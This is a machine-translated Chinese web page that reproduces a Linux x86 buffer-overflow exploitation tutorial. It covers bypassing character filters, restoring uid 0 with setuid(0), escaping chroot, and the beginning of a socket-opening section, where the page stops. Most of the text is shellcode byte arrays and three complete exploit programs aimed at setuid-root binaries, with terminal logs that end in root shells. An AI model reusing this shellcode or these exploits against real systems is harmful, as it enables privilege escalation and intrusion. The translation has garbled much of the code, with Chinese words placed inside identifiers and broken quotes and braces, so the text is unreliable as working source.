首页 > 代码库 > 缓冲区溢出漏洞
缓冲区溢出漏洞
1.介绍
现在有很多缓冲区溢出漏洞代码。早期缓冲区
溢出漏洞代码只产生一个shell(execute / bin / sh)。然而,
现在一些缓冲区溢出漏洞代码有非常好的功能。
例如,通过过滤,打开套接字,断开chroot,
等等。本文将尝试解释高级缓冲区溢出
利用intel x86 linux下的技能。
2.你在阅读之前需要知道什么?
你必须知道汇编语言,C语言和Linux。当然,你
必须知道什么缓冲区溢出。你可以得到的信息
缓冲区溢出在语句49-14(粉碎堆栈的乐趣和利润
由Aleph1)。这是一个美妙的缓冲区溢出的纸,我强烈推荐
你读这个之前读这个。
3.通过过滤
有很多程序有缓冲区溢出问题。为什么不是
所有缓冲区溢出问题被利用?因为即使一个程序有一个缓冲区
溢出的条件,可能很难利用。在很多情况下,原因是
程序过滤一些字符或将字符转换为其他字符
字符。如果程序过滤所有不可打印的字符,它也是
难以开发。如果程序过滤了一些字符,你可以通过
通过过滤器通过制作好的缓冲区溢出漏洞代码。:)
3.1示例脆弱程序
脆弱的
-------------------------------------------------- --------------------------
#include <string.h>
#include <ctype.h>
int main(int argc,int ** argv)
{
char缓冲区[1024];
int i;
if(argc> 1)
{
for(i = 0; i <strlen(argv [1]); i ++)
argv [1] [i] = toupper(argv [1] [i]);
strcpy(buffer,argv [1]);
}}
}}
-------------------------------------------------- --------------------------
这个脆弱的程序将小写字母转换为大写字母
用户输入。因此,你必须做一个不包含任何shellcode
小字母。你怎么能这样做?你必须引用字符串
“/ bin / sh”,它必须包含小写字母。但是,你可以利用这个。:)
3.2修改正常shellcode
几乎所有的缓冲区溢出漏洞代码使用这个shellcode。现在你有
删除shellcode中的所有小写字母。当然,新的shellcode
必须执行shell。
正常shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
“\ xeb \ x1f”/ * jmp 0x1f * /
“\ x5e”/ * popl%esi * /
“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ x89 \ xd8”/ * movl%ebx,%eax * /
“\ x40”/ * inc%eax * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * /
“/ bin / sh”; / * .string \“/ bin / sh \”* /
-------------------------------------------------- --------------------------
这个shellcode有6个小写字母。(5个小写字母在“/ bin / sh”和
“movl%esi,0x8(%esi)”中有1个小写字母)
你不能直接使用“/ bin / sh”字符串来传递
过滤。但是,您可以插入除小字符以外的任何字符。
因此,您可以插入“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”而不是
“\ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68”(“/ bin / sh”)。溢出缓冲区后
,您必须将“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”更改为
“\ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68”执行“/ bin / sh”。你可以很容易地改变
通过将\ x50添加到\ x62,\ x69,\ x6e,\ x73和\ x68当您的shellcode
被执行。那么如何在“movl%esi,0x8(%esi)”中隐藏\ x76?您
可以将“movl%esi,0x8(%esi)”更改为执行相同操作的其他指令
指令,不包含任何小写字母。例如,
“movl%esi,0x8(%esi)”可以改变为“movl%esi,%eax”,“addl $ 0x8,%eax”
“movl%eax,0x8(%esi)”。更改的指令有任何小写字母。
(我认为其他好的指示,做同样的事情,这只是一个例子。)
现在新的shellcode。
新shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
“\ xeb \ x38”/ * jmp 0x38 * /
“\ x5e”/ * popl%esi * /
“\ x80 \ x46 \ x01 \ x50”/ * addb $ 0x50,0x1(%esi)* /
“\ x80 \ x46 \ x02 \ x50”/ * addb $ 0x50,0x2(%esi)* /
“\ x80 \ x46 \ x03 \ x50”/ * addb $ 0x50,0x3(%esi)* /
“\ x80 \ x46 \ x05 \ x50”/ * addb $ 0x50,0x5(%esi)* /
“\ x80 \ x46 \ x06 \ x50”/ * addb $ 0x50,0x6(%esi)* /
“\ x89 \ xf0”/ * movl%esi,%eax * /
“\ x83 \ xc0 \ x08”/ * addl $ 0x8,%eax * /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ x89 \ xd8”/ * movl%ebx,%eax * /
“\ x40”/ * inc%eax * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ xc3 \ xff \ xff \ xff”/ * call -0x3d * /
“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”; / * .string“/ bin / sh”* /
/ * / bin / sh伪装* /
-------------------------------------------------- --------------------------
3.3利用弱势群体1计划
有了这个shellcode,你可以轻松地做一个exploit代码。
exploit1.c
-------------------------------------------------- --------------------------
#include <stdio.h>
#include <stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char Shellcode [] =
“\ xeb \ x38”/ * jmp 0x38 * /
“\ x5e”/ * popl%esi * /
“\ x80 \ x46 \ x01 \ x50”/ * addb $ 0x50,0x1(%esi)* /
“\ x80 \ x46 \ x02 \ x50”/ * addb $ 0x50,0x2(%esi)* /
“\ x80 \ x46 \ x03 \ x50”/ * addb $ 0x50,0x3(%esi)* /
“\ x80 \ x46 \ x05 \ x50”/ * addb $ 0x50,0x5(%esi)* /
“\ x80 \ x46 \ x06 \ x50”/ * addb $ 0x50,0x6(%esi)* /
“\ x89 \ xf0”/ * movl%esi,%eax * /
“\ x83 \ xc0 \ x08”/ * addl $ 0x8,%eax * /
“\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ x89 \ xd8”/ * movl%ebx,%eax * /
“\ x40”/ * inc%eax * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ xc3 \ xff \ xff \ xff”/ * call -0x3d * /
“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”; / * .string“/ bin / sh”* /
/ * / bin / sh伪装* /
unsigned long get_sp(void)
{
__asm __(“movl%esp,%eax”);
}}
main(int argc,char ** argv)
{
char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr;
长加
无符号长整型
int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1;
int i;
if(argc> 1)
offset = atoi(argv [1]);
sp = get_sp();
addr = sp-offset;
for(i = 0; i <bsize; i + = 4)
{
buff [i + ALIGN] =(addr&0x000000ff);
buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8;
buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16;
buff [i + ALIGN + 3] =(addr&0xff000000)>> 24;
}}
for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++)
buff [i] = NOP;
ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1;
for(i = 0; i <strlen(shellcode); i ++)
*(ptr ++)= shellcode [i];
buff [bsize-1] =‘\ 0‘;
printf(“Jump to 0x%08x \ n”,addr);
execl(“./ vulnerable1”,“vulnerable1”,buff,0);
}}
-------------------------------------------------- --------------------------
利用漏洞1程序
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ ls -l vulnerable1
-rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1 *
[ohhara @ ohhara?] {2} $ ls -l exploit1
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1 *
[ohhara @ ohhara?] {3} $ ./exploit1
跳转到0xbfffec64
分段故障
[ohhara @ ohhara?] {4} $ ./exploit1 500
跳转到0xbfffea70
bash#whoami
根
bash#
-------------------------------------------------- --------------------------
3.4你可以用这种技术做什么?
你可以通过这种技术通过各种形式的过滤器。当。。。的时候
脆弱的程序过滤!@#$%^&*(),可以让新的shellcode了
不包含!@#$%^&*()。但是,你会有困难
shellcode,如果程序过滤了很多字符。
4将uid更改为0
setuid根程序知道具有root权限的工作是非常
危险的呼叫seteuid(getuid())在开始。并且它调用seteuid(0)
需要。许多程序员认为它在调用seteuid(getuid())后是安全的。
然而,这不是真的。uid可以恢复为0。
4.1示例脆弱程序
脆弱
-------------------------------------------------- --------------------------
#include <string.h>
#include <unistd.h>
int main(int argc,char ** argv)
{
char缓冲区[1024];
seteuid(getuid());
if(argc> 1)
strcpy(buffer,argv [1]);
}}
-------------------------------------------------- --------------------------
这个脆弱的程序在启动时调用seteuid(getuid())。因此,你
可能认为“strcpy(buffer,argv [1]);” 是好的。因为你只能得到
你自己的shell虽然你成功在缓冲区溢出攻击。然而,
如果你插入一个代码在shellcode中调用setuid(0),你可以得到
根壳。:)
4.2设置setuid(0)代码
setuidasm.c
-------------------------------------------------- --------------------------
主要()
{
setuid(0);
}}
-------------------------------------------------- --------------------------
编译和反汇编
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ gcc -o setuidasm -static setuidasm.c
[ohhara @ ohhara?] {2} $ gdb setuidasm
GNU gdb 4.17
版权所有1998自由软件基金会
GDB是免费软件,由GNU通用公共许可证覆盖,你是
欢迎在特定条件下更改和/或分发它的副本。
键入“显示复制”以查看条件。
GDB绝对没有保修。有关详细信息,请键入“显示保修”。
这个GDB被配置为“i386-redhat-linux”...
(gdb)反汇编setuid
函数__setuid的汇编代码转储:
0x804ca00 <__ setuid>:movl%ebx,%edx
0x804ca02 <__ setuid + 2>:movl 0x4(%esp,1),%ebx
0x804ca06 <__ setuid + 6>:movl $ 0x17,%eax
0x804ca0b <__ setuid + 11>:int $ 0x80
0x804ca0d <__ setuid + 13>:movl%edx,%ebx
0x804ca0f <__ setuid + 15>:cmpl $ 0xfffff001,%eax
0x804ca14 <__ setuid + 20>:jae 0x804cc10 <__ syscall_error>
0x804ca1a <__ setuid + 26>:ret
0x804ca1b <__ setuid + 27>:nop
0x804ca1c <__ setuid + 28>:nop
0x804ca1d <__ setuid + 29>:nop
0x804ca1e <__ setuid + 30>:nop
0x804ca1f <__ setuid + 31>:nop
汇编器转储结束。
(gdb)
-------------------------------------------------- --------------------------
setuid(0); 码
-------------------------------------------------- --------------------------
char code [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ xb0 \ x17”/ * movb $ 0x17,%al * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
4.3修改正常shellcode
如果你做setuid(0)代码,创建新的shellcode很容易。只需插入
代码进入正常shellcode的开始。
新shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ xb0 \ x17”/ * movb $ 0x17,%al * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xeb \ x1f”/ * jmp 0x1f * /
“\ x5e”/ * popl%esi * /
“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ x89 \ xd8”/ * movl%ebx,%eax * /
“\ x40”/ * inc%eax * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * /
“/ bin / sh”; / * .string \“/ bin / sh \”* /
-------------------------------------------------- --------------------------
4.4利用易受攻击的程序
有了这个shellcode,你可以轻松地做一个exploit代码。
exploit2.c
-------------------------------------------------- --------------------------
#include <stdio.h>
#include <stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char Shellcode [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ xb0 \ x17”/ * movb $ 0x17,%al * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xeb \ x1f”/ * jmp 0x1f * /
“\ x5e”/ * popl%esi * /
“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xdb”/ * xorl%ebx,%ebx * /
“\ x89 \ xd8”/ * movl%ebx,%eax * /
“\ x40”/ * inc%eax * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * /
“/ bin / sh”; / * .string \“/ bin / sh \”* /
unsigned long get_sp(void)
{
__asm __(“movl%esp,%eax”);
}}
void main(int argc,char ** argv)
{
char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr;
长加
无符号长整型
int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1;
int i;
if(argc> 1)
offset = atoi(argv [1]);
sp = get_sp();
addr = sp-offset;
for(i = 0; i <bsize; i + = 4)
{
buff [i + ALIGN] =(addr&0x000000ff);
buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8;
buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16;
buff [i + ALIGN + 3] =(addr&0xff000000)>> 24;
}}
for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++)
buff [i] = NOP;
ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1;
for(i = 0; i <strlen(shellcode); i ++)
*(ptr ++)= shellcode [i];
buff [bsize-1] =‘\ 0‘;
printf(“Jump to 0x%08x \ n”,addr);
execl(“./ vulnerable2”,“vulnerable2”,buff,0);
}}
-------------------------------------------------- --------------------------
利用vulnerability2程序
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ ls -l vulnerable2
-rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2 *
[ohhara @ ohhara?] {2} $ ls -l exploit2
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2 *
[ohhara @ ohhara?] {3} $ ./exploit2
跳转到0xbfffec64
非法指令
[ohhara @ ohhara?] {4} $ ./exploit2 500
跳转到0xbfffea70
bash#whoami
根
bash#
-------------------------------------------------- --------------------------
4.5你可以用这种技术做什么?
你用缓冲区溢出攻击setuid根程序,但你只能得到你
自己的壳。你可以在这种情况下使用这种技术。
5断开chroot
如果setuid根程序chroot,你只能访问chrooted
目录。您无法访问根目录。但是,您可以访问所有
目录,如果你的shellcode改变根目录到“/”。:)
5.1示例脆弱程序
脆弱
-------------------------------------------------- --------------------------
#include <string.h>
#include <unistd.h>
int main(int argc,char ** argv)
{
char缓冲区[1024];
“chroot(”/ home / ftp“);
chdir(“/”);
if(argc> 1)
strcpy(buffer,argv [1]);
}}
-------------------------------------------------- --------------------------
如果尝试用缓冲区溢出执行“/ bin / sh”,它可能会执行
“/ home / ftp / bin / sh”(如果存在),并且您无法访问其他目录
除了“/ home / ftp”。
5.2 make chroot代码
如果你可以执行下面的代码,你可以打破chroot。
breakchrootasm.c
-------------------------------------------------- --------------------------
主要()
{
mkdir(“sh”,0755);
chroot(“sh”);
/ * many“../”* /
chroot(“../../../../../../../../../../../../../../../ ... /“);
}}
-------------------------------------------------- --------------------------
这个断开chroot代码使“sh”目录,因为它很容易引用。
(它也用于执行“/ bin / sh”)
编译和反汇编
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
[ohhara @ ohhara?] {2} $ gdb breakchrootasm
GNU gdb 4.17
版权所有1998自由软件基金会
GDB是免费软件,由GNU通用公共许可证覆盖,你是
欢迎在特定条件下更改和/或分发它的副本。
键入“显示复制”以查看条件。
GDB绝对没有保修。有关详细信息,请键入“显示保修”。
这个GDB被配置为“i386-redhat-linux”...
(gdb)反汇编mkdir
函数__mkdir的汇编代码转储:
0x804cac0 <__ mkdir>:movl%ebx,%edx
0x804cac2 <__ mkdir + 2>:movl 0x8(%esp,1),%ecx
0x804cac6 <__ mkdir + 6>:movl 0x4(%esp,1),%ebx
0x804caca <__ mkdir + 10>:movl $ 0x27,%eax
0x804cacf <__ mkdir + 15>:int $ 0x80
0x804cad1 <__ mkdir + 17>:movl%edx,%ebx
0x804cad3 <__ mkdir + 19>:cmpl $ 0xfffff001,%eax
0x804cad8 <__ mkdir + 24>:jae 0x804cc40 <__ syscall_error>
0x804cade <__ mkdir + 30>:ret
0x804cadf <__ mkdir + 31>:nop
汇编器转储结束。
(gdb)反汇编chroot
函数chroot的汇编代码转储:
0x804cb60 <chroot>:movl%ebx,%edx
0x804cb62 <chroot + 2>:movl 0x4(%esp,1),%ebx
0x804cb66 <chroot + 6>:movl $ 0x3d,%eax
0x804cb6b <chroot + 11>:int $ 0x80
0x804cb6d <chroot + 13>:movl%edx,%ebx
0x804cb6f <chroot + 15>:cmpl $ 0xfffff001,%eax
0x804cb74 <chroot + 20>:jae 0x804cc40 <__ syscall_error>
0x804cb7a <chroot + 26>:ret
0x804cb7b <chroot + 27>:nop
0x804cb7c <chroot + 28>:nop
0x804cb7d <chroot + 29>:nop
0x804cb7e <chroot + 30>:nop
0x804cb7f <chroot + 31>:nop
汇编器转储结束。
(gdb)
-------------------------------------------------- --------------------------
mkdir(“sh”,0755); 码
-------------------------------------------------- --------------------------
/ * mkdir第一个参数是%ebx,第二个参数是* /
/ *%ecx。* /
char code [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ xb0 \ x17”/ * movb $ 0x27,%al * /
“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
/ *%esi在使用此* /之前必须引用“/ bin / sh”
/ *指令。该指令加载地址为“sh”* /
/ *并存储在%ebx * /
“\ xfe \ xc5”/ * incb%ch * /
/ *%cx = 0000 0001 0000 0000 * /
“\ xb0 \ x3d”/ * movb $ 0xed,%cl * /
/ *%cx = 0000 0001 1110 1101 * /
/ *%cx = 000 111 101 101 * /
/ *%cx = 0 7 5 5 * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
chroot(“sh”); 码
-------------------------------------------------- --------------------------
/ * chroot的第一个参数是ebx * /
char code [] =
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
chroot(“../../../../../../../../../../../../../../../ ... /“); 码
-------------------------------------------------- --------------------------
char code [] =
“\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * /
/ *伪装“../”字符串* /
“\ xf7 \ xdb”/ * negl%ebx * /
/ *%ebx = $ 0x002f2e2e * /
/ * intel x86是小字节序。* /
/ *%ebx =“../”* /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ xb1 \ x10”/ * movb $ 0x10,%cl * /
/ *准备循环16次。* /
“\ x56”/ * pushl%esi * /
/ *备用电流%esi。%esi的指针为* /
/ *“/ bin / sh”。* /
“\ x01 \ xce”/ * addl%ecx,%esi * /
“\ x89 \ x1e”/ * movl%ebx,(%esi)* /
“\ x83 \ xc6 \ x03”/ * addl $ 0x3,%esi * /
“\ xe0 \ xf9”/ * loopne -0x7 * /
/ * make“../../../../。。。”字符串在* /
/ * 0x10(%esi)。* /
“\ x5e”/ * popl%esi * /
/ * restore%esi。* /
“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
“\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * /
/ *%ebx的地址为“../../../../ ...”。* /
“\ xcd \ x80”; / * int $ 0x80 * /
-------------------------------------------------- --------------------------
5.3修改正常的shellcode
如果你打破chroot代码,新的shellcode很容易。只需插入
代码进入正常shellcode的开始并修改jmp并调用
论据。
新shellcode
-------------------------------------------------- --------------------------
char Shellcode [] =
“\ xeb \ x4f”/ * jmp 0x4f * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ x5e”/ * popl%esi * /
“\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* /
“\ xb0 \ x27”/ * movb $ 0x27,%al * /
“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
“\ xfe \ xc5”/ * incb%ch * /
“\ xb1 \ xed”/ * movb $ 0xed,%cl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * /
“\ xf7 \ xdb”/ * negl%ebx * /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ xb1 \ x10”/ * movb $ 0x10,%cl * /
“\ x56”/ * pushl%esi * /
“\ x01 \ xce”/ * addl%ecx,%esi * /
“\ x89 \ x1e”/ * movl%ebx,(%esi)* /
“\ x83 \ xc6 \ x03”/ * addl%0x3,%esi * /
“\ xe0 \ xf9”/ * loopne -0x7 * /
“\ x5e”/ * popl%esi * /
“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
“\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ xac \ xff \ xff \ xff”/ * call -0x54 * /
“/ bin / sh”; / * .string \“/ bin / sh \”* /
-------------------------------------------------- --------------------------
5.4利用弱势群体3计划
有了这个shellcode,你可以轻松地做一个exploit代码。
exploit3.c
-------------------------------------------------- --------------------------
#include <stdio.h>
#include <stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char Shellcode [] =
“\ xeb \ x4f”/ * jmp 0x4f * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ x5e”/ * popl%esi * /
“\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* /
“\ xb0 \ x27”/ * movb $ 0x27,%al * /
“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
“\ xfe \ xc5”/ * incb%ch * /
“\ xb1 \ xed”/ * movb $ 0xed,%cl * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * /
“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * /
“\ xf7 \ xdb”/ * negl%ebx * /
“\ x31 \ xc9”/ * xorl%ecx,%ecx * /
“\ xb1 \ x10”/ * movb $ 0x10,%cl * /
“\ x56”/ * pushl%esi * /
“\ x01 \ xce”/ * addl%ecx,%esi * /
“\ x89 \ x1e”/ * movl%ebx,(%esi)* /
“\ x83 \ xc6 \ x03”/ * addl%0x3,%esi * /
“\ xe0 \ xf9”/ * loopne -0x7 * /
“\ x5e”/ * popl%esi * /
“\ xb0 \ x3d”/ * movb $ 0x3d,%al * /
“\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ x31 \ xc0”/ * xorl%eax,%eax * /
“\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* /
“\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* /
“\ xb0 \ x0b”/ * movb $ 0xb,%al * /
“\ x89 \ xf3”/ * movl%esi,%ebx * /
“\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * /
“\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * /
“\ xcd \ x80”/ * int $ 0x80 * /
“\ xe8 \ xac \ xff \ xff \ xff”/ * call -0x54 * /
“/ bin / sh”; / * .string \“/ bin / sh \”* /
unsigned long get_sp(void)
{
__asm __(“movl%esp,%eax”);
}}
void main(int argc,char ** argv)
{
char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr;
长加
无符号长整型
int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1;
int i;
if(argc> 1)
offset = atoi(argv [1]);
sp = get_sp();
addr = sp-offset;
for(i = 0; i <bsize; i + = 4)
{
buff [i + ALIGN] =(addr&0x000000ff);
buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8;
buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16;
buff [i + ALIGN + 3] =(addr&0xff000000)>> 24;
}}
for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++)
buff [i] = NOP;
ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1;
for(i = 0; i <strlen(shellcode); i ++)
*(ptr ++)= shellcode [i];
buff [bsize-1] =‘\ 0‘;
printf(“Jump to 0x%08x \ n”,addr);
execl(“./ vulnerable3”,“vulnerable3”,buff,0);
}}
-------------------------------------------------- --------------------------
利用漏洞3程序
-------------------------------------------------- --------------------------
[ohhara @ ohhara?] {1} $ ls -l vulnerable3
-rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3 *
[ohhara @ ohhara?] {2} $ ls -l exploit3
-rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3 *
[ohhara @ ohhara?] {3} $ ./exploit3
跳转到0xbfffec68
分段故障
[ohhara @ ohhara?] {4} $ ./exploit3 500
跳转到0xbfffea74
分段故障
[ohhara @ ohhara?] {5} $ ./exploit3 -500
跳转到0xbfffee5c
bash#whoami
根
bash#pwd
/ home / ftp
bash#cd /
bash#pwd
/
bash#ls
afs boot etc home lost + found mnt root tmp var
bin dev export lib misc proc sbin usr
bash#
-------------------------------------------------- --------------------------
5.5你可以用这种技术做什么?
你不能通过攻击chroot的setuid程序来访问根目录
缓冲区溢出。但是,您可以使用此技术访问所有目录。
6打开插座
如果尝试在守护程序中溢出缓冲区,您可以看到守护进程崩溃。
在许多情况下,您必须执行一个shell,打开一个套接字,并连接到
您的标准I / O。如果你不,你不能得到一个shell。即使你得到了
shell,服务器立即崩溃,所以你不能命令任何东西。在这里
case,你必须使复杂的shellcode连接到你的标准I / O。
6.1示例脆弱程序
-------------------------------------------------- --------------------------
#include <string.h>
int main(int argc,char ** argv)
{
char缓冲区[1024];
if(argc> 1)
strcpy(buffer,argv [1]);
}}
-------------------------------------------------- --------------------------
这是标准脆弱的程序。我会用这个插座打开
缓冲区溢出。因为我太懒了,做一个例子daemon程序。:)
但是,看到代码后,你不会失望。
6.2打开套接字代码
如果你可以执行下面的代码,你可以打开一个套接字。
打开socketasm1.c
